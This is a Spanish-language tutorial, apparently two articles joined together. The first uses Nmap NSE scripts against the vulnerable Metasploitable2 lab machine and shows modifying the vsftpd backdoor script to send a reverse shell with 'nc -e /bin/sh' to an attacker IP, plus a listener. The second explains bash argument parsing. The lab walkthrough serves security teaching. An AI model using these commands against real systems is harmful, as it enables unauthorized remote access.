¿CÓMO UTILIZAR LOS SCRIPTS DE NMAP SCRIPT ENGINE

(NSE) EN LINUX?

Nmap o Network Mapper es una herramienta de código abierto que se utiliza

para descubrir hosts y servicios en una red informática. Es uno de los escáneres
de puertos más potentes y flexibles jamás construido. Para instalar Nmap en
cualquier sistema operativo como Ubuntu o Kali Linux, puede usar el comando.
Es muy flexible debido a la disponibilidad de muchos scripts NSE disponibles.
NSE son las siglas de Nmap Scripting Engine. Para comprender los conceptos
de Nmap y NSE, tomemos un ejemplo. Para esta tarea, usaremos una máquina
vulnerable llamada metasploitable2. Es de naturaleza muy vulnerable. Hay
varias fases para la piratería y uno de los pasos más importantes es el escaneo
de puertos. Ahora para escanear metasploitable2 necesitamos una herramienta
de escaneo de puertos, en este caso estamos usando Nmap.

Resultados del escaneo de Nmap de metasploitable 2

Trabajar con scripts de Nmap Script Engine (NSE):

1. Podemos descubrir todos los dispositivos conectados en la red usando el

comando

sudo netdiscover
2. El resultado de netdiscover muestra que VMware Inc es el proveedor de mac
que son nuestras máquinas metasploitable 2. Ahora podemos iniciar un escaneo
de Nmap. El comando Nmap que se muestra aquí es:

nmap -sV -T4 192.168.1.6

dónde:

-sV utilizado para la detección de la versión del servicio.

-T4 denota la velocidad de escaneo de nmap.

3. El resultado obtenido denota el servicio y la versión que se ejecuta en

metasploitable2, pero ¿qué pasa si queremos recopilar más información sobre
el objetivo? Aquí es donde NSE es útil. NSE permite a los usuarios escribir scripts
simples para automatizar una amplia variedad de tareas de red. Luego, esos
scripts se ejecutan en paralelo con la velocidad y la eficiencia. Los scripts de
NSE están escritos en un lenguaje de programación llamado Lua.

4. Para usar scripts NSE usamos la bandera -sC, o podemos usar –script para
ejecutar scripts personalizados.

Nmap ejecutándose con scripts predeterminados

5. El comando Nmap para el escaneo de servicio predeterminado

es
nmap -sC -T4 192.168.147.132

6. Ahora bien, si comparamos los resultados del análisis de la versión del servicio
( -sV ) y los análisis de los scripts predeterminados, hay muchas diferencias.
Tomemos el caso del puerto 21 ( FTP ). En el caso del escaneo de la versión del
servicio, solo obtenemos la versión. En el caso del escaneo de scripts, detectó
que también se permite el inicio de sesión anónimo y el script escrito en lua
intentó iniciar sesión de forma anónima para verificar si es posible. El problema
con los escaneos de scripts es que a veces pueden ser de naturaleza intrusiva.
Esto significa que el script está tratando de interactuar directamente con el
objetivo y también los firewalls e IDS pueden bloquear su solicitud, pero Nmap
es tan poderoso que puede realizar escaneos sin pasar por los filtros. -sC es
equivalente a –script = default .

7. Nmap tiene un conjunto de secuencias de comandos que se agrupan juntos

como por defecto, seguro y otras categorías . Cuando use la bandera -sC y
cuando Nmap descubra un puerto, ejecutará un conjunto de scripts
predeterminados para ese puerto y devolverá los resultados. Esa es la razón por
la que los resultados varían en ambos casos, hay muchos scripts disponibles
cuando se usa el indicador -sC .

Ubicación de los scripts de NSE

8. Los scripts de nmap se encuentran en / usr / share / nmap / scripts / . Hay

más de 600 scripts NSE disponibles para diferentes puertos creados por la
comunidad de código abierto. Puede actualizar los scripts de NSE utilizando el
siguiente comando:

nmap --script-updatedb
Para comprobar todos los scripts disponibles para un puerto.

9. En caso de que deseemos comprobar los scripts disponibles, podemos hacer

grep de los resultados para ver los scripts disponibles para un puerto.

10. ftp-anon.nse es el script NSE que se utiliza para detectar el inicio de sesión
anónimo en los servidores FTP. Esta secuencia de comandos es parte de las
secuencias de comandos predeterminadas para el puerto 21. Esa es la razón
por la que obtuvimos el resultado de inicio de sesión anónimo permitido
mientras usábamos el indicador -sC .
Nmap se ejecuta con un solo script para verificar si el inicio de sesión anónimo
está habilitado

11. Los scripts de Nmap son tan poderosos que pueden ayudarlo a crear un shell
en una máquina de destino.

Nmap detectando un RCE

12. Podemos ver que Nmap con solo ejecutar un script fue capaz de identificar
una inyección de comando o RCE (ejecución remota de código) en la máquina
de destino. Nmap intentó ejecutar el comando ID y el resultado se devolvió como
un comando ejecutado por el usuario root. Por lo tanto, Nmap confirmó la
existencia de un error de inyección de comandos. Muchos scripts en Nmap
admiten el paso de argumentos. También podemos obtener un shell inverso solo
con los scripts de Nmap NSE, pero necesitamos saber cómo pasar o cómo usar
los scripts para esta función. Nmap proporciona una opción de ayuda.
Menú de ayuda para el script ftp-vsftpd-backdoor.nse

13. Desde el menú de ayuda sabemos que podemos editar el script ftp-vsftpd-
backdoor.nse y cambiar el comando predeterminado al comando de Linux
deseado para obtener un shell inverso.
script de puerta trasera abierto en vim para reemplazar el comando id
(predeterminado) para obtener un shell inverso

14. El comando mencionado a continuación enviará / bin / sh al puerto 1234 de

192.168.147.131 (esta es nuestra máquina de ataque). Cuando el script se
ejecuta en metasploitable 2, devolverá el shell inverso a nuestra máquina.

nc -e /bin/sh 192.168.147.131 1234

Al ejecutar el script Nmap obtuvimos un shell inverso en nuestra máquina de
ataque.

15. Para escuchar un puerto usando nmap

nc -nvlp 1234

donde, -lp significa escuchar en el puerto 1234

Ejecutando el comando hostname && id para verificar la máquina

16. También puede ejecutar todos los scripts para un puerto en particular con
" theportname- * "

nmap -p 21 192.168.147.132 --script "ftp-*"

En este caso, estamos escaneando el puerto 21, que es ftp, por lo que en lugar
de los scripts pasamos " ftp- * " como argumento.

CÓMO PASAR Y ANALIZAR ARGUMENTOS Y

PARÁMETROS DE SCRIPT BASH DE LINUX
Analizar y pasar argumentos a scripts de bash / scripts de shell es bastante similar a la
forma en que pasamos argumentos a las funciones dentro de los scripts de Bash.
Veremos el proceso real de pasar los argumentos a un script y también veremos la
forma de acceder a esos argumentos dentro del script.

Pasar argumentos antes de ejecutar

Podemos pasar parámetros justo después del nombre del script mientras ejecutamos el
comando bash interpreter. Puede pasar parámetros o argumentos al archivo. Solo el
comando para ejecutar el script normalmente agregando el valor de los parámetros
directamente al script. Cada parámetro es un valor separado por espacios para pasar al
script de shell.

bash scriptname.sh

El comando anterior simplemente ejecutará el script sin pasar los parámetros.

Mientras que el siguiente comando pasará los argumentos al script.

bash scriptname.sh parameter1 parameter2 parameter3 nth-parameter

Ejecución de un script bash con parámetros de paso

La captura de pantalla anterior muestra los parámetros pasados al script, cómo lo haremos,
que explicaremos en la siguiente sección. Pero ahora mismo podemos ver que hemos
pasado los parámetros desde fuera del script usando variables de entorno bash. Incluso
puede usar strings y otros tipos de datos, pero tenga cuidado con los espacios en blanco.
El espacio en blanco hará que la variable sea un parámetro independiente. Por lo tanto,
especialmente para las strings, tenga cuidado de rodearlas estrictamente entre comillas.

Detectar argumentos en la línea de comandos

Ahora, veremos cómo accedemos a esos parámetros dentro del script. Usaremos el
número de parámetros pasados en el orden, es decir, para los primeros parámetros
pasados, analizaremos (accedemos) al parámetro usando $1 como variable. El primer
parámetro se almacena en la variable $1. Además, puede asignar esta variable a cualquier
otra variable definida por el usuario que desee. Para el enésimo parámetro pasado, puede
usar $n para acceder a ese parámetro en particular. Aquí, el nombre de la variable
comienza con 1 porque el nombre de archivo / script es el parámetro 0. Si tiene más de 9
parámetros, asegúrese de usar {} alrededor del número, ya que sin el paréntesis, bash solo
verá $10 como $1 y excluirá el 0, así que use ${10} y así sucesivamente en lugar de
simplemente $10.

#!/bin/bash

echo "1st parameter = $1 "

echo "2nd Parameter = $2 "

El script anterior puede acceder a los parámetros desde la línea de comando / shell
usando los parámetros posicionales, que son 1, 2, 3, etc.
Accediendo a los argumentos desde el script.

Como puede ver, hemos utilizado {} para acceder a los números de variable de parámetro
desde el 10 en adelante. El script se puede usar para bucles y while para iterar sobre los
parámetros, pero lo discutiremos en secciones posteriores.

Asignar argumentos proporcionados a la variable Bash

También podemos asignarlo a otras variables personalizadas para dinamizar el script y

moldearlo según las necesidades. Aunque el script anterior cuando se ejecute solo
imprimirá dos parámetros, seguramente puede acceder a más parámetros usando la
variable como el orden de los parámetros en números. El script puede acceder a las
variables de posición desde la línea de comando y usarlas en los lugares requeridos donde
sea necesario dentro del script.

#!/bin/bash

a=$1
b=$2
p=$(($a*$b))
echo "The product of $a and $b = $p"

Asignar argumentos proporcionados a la variable Bash

El script anterior accede a los parámetros posicionales, es decir, $1 y $2 pasados al script

y almacena las variables definidas por el usuario para acceder a ellas más tarde y
modificarlas en consecuencia. También podemos acceder a más parámetros utilizando
métodos iterativos como veremos en las próximas secciones.

También tenemos la capacidad de verificar cualquier parámetro NULL o vacío pasado

usando los indicadores -z o -n. A partir de esto, podemos verificar si los parámetros se
pasaron o no.

#!/bin/bash

if [[ -z $1 ]];
then
echo "No parameter passed."
else
echo "Parameter passed = $1"
fi
Comprobación de parámetros posicionales pasados o no.

Con este script, podemos detectar si se pasó algún parámetro posicional o no se pasó nada.
La bandera -z busca cualquier variable NULL o no inicializada en BASH. La bandera -z
devuelve verdadero si la variable pasada es NULL o no está inicializada. Por tanto,
podemos hacer uso de sentencias If-else básicas para detectar los parámetros pasados.

También podemos usar el indicador -n que devuelve verdadero si no se pasan parámetros,

¡así que tenemos que usarlo! para revertir la condición.

Como sigue:

#!/bin/bash

if [[ ! -n $1 ]];
then
echo "No parameter passed."
else
echo "Parameter passed = $1"
fi

Esta secuencia de comandos también dará la misma salida, pero estamos usando la
opción -n en lugar de -z.

Lectura de múltiples argumentos con bucle For o While

Podemos usar la variable “@” para acceder a todos los parámetros pasados al script a
través de la línea de comandos. Es una variable especial que contiene la matriz de
variables en BASH. En este caso, lo estamos usando solo, por lo que contiene la matriz
de parámetros posicionales pasados. Podemos usarlo para iterar sobre los parámetros
pasados usando bucles o while también.
#!/bin/bash

for i in $@
do
echo -e "$i\n"
done

Usar bucles y @ variable para acceder a los parámetros como elementos de matriz.

Usamos un bucle for basado en rango para iterar hasta que haya elementos en la matriz
@. Simplemente iteramos sobre la matriz e imprimimos el elemento. Simplemente
podemos asignarlo, modificar los valores y realizar los cambios necesarios en los
parámetros y argumentos para lograr el resultado deseado del script.

También podemos imprimir los argumentos usando el ciclo while y las variables
ambientales de BASH.

#!/bin/bash

i=$(($#-1))
while [ $i -ge 0 ];
do
echo ${BASH_ARGV[$i]}
i=$((i-1))
done
Usando el bucle while para iterar sobre los parámetros pasados.

Estamos usando la variable ' # ' ya que contiene el número de parámetros pasados.
Inicializamos el número de parámetros y quitamos uno ya que vamos a usar una matriz
para iterar sobre él. Entonces, como de costumbre, el índice de la matriz comienza desde
0. Como esta matriz se inicializa desde el último elemento o parámetro pasado,
necesitamos disminuir el contador hasta 0 para imprimir cada parámetro en el orden en
que se pasa. Simplemente usamos la matriz BASH_ARGV para acceder a los parámetros
e imprimir su valor. Además, en cada iteración, disminuimos el valor de i- el iterador o
contador en uno usando las llaves dobles aritméticas. A partir de esto, simplemente
imprimimos cada parámetro pasado al script usando un bucle while como se muestra en
la captura de pantalla de salida.

Lectura con nombres de parámetros

Usar getopts para analizar argumentos y parámetros

Podemos usar el programa / comando getopts para analizar los argumentos pasados al
script en la línea de comando / terminal mediante el uso de bucles y sentencias de cambio
de mayúsculas y minúsculas.

#!/bin/bash

while getopts n:c: option

do
case "${option}"
in
n)nation=${OPTARG};;
c)code=${OPTARG};;
esac
done

echo "Nation : $nation"

echo "code : $code"
Usar getopts para analizar argumentos y parámetros

Usando getopts, podemos asignar los argumentos / parámetros posicionales desde la línea
de comando a las variables bash directamente. Esto nos permite gestionar los parámetros
de forma agradable y sistemática. En el script anterior, hemos usado dos argumentos para
almacenar las variables bash usando la sintaxis getopts, while bucles y sentencias switch-
case.

Impresión de valores de todos los argumentos

Podemos imprimir los argumentos pasados al script mediante una simple y poderosa
variable '@' que almacena todos los parámetros pasados.

#!/bin/bash

echo "The arguments passed in are : $@"

Impresión de valores de todos los argumentos

Accediendo al número de parámetros pasados

También podemos usar la variable '#' para acceder a la cantidad de parámetros pasados
desde la línea de comando. La variable # contiene básicamente el número de parámetros
/ argumentos que se pasan al script.

#!/bin/bash

echo "The number of arguments passed in are : $#"

Accediendo al número de parámetros pasados

Los siguientes fueron el proceso y la especificación de pasar y analizar las variables en el

script bash. La lógica de cambiar y hacer modificaciones a las variables está en manos
del usuario. Esto fue solo una demostración de pasar y analizar los argumentos de la línea
de comando al script para hacerlos más dinámicos.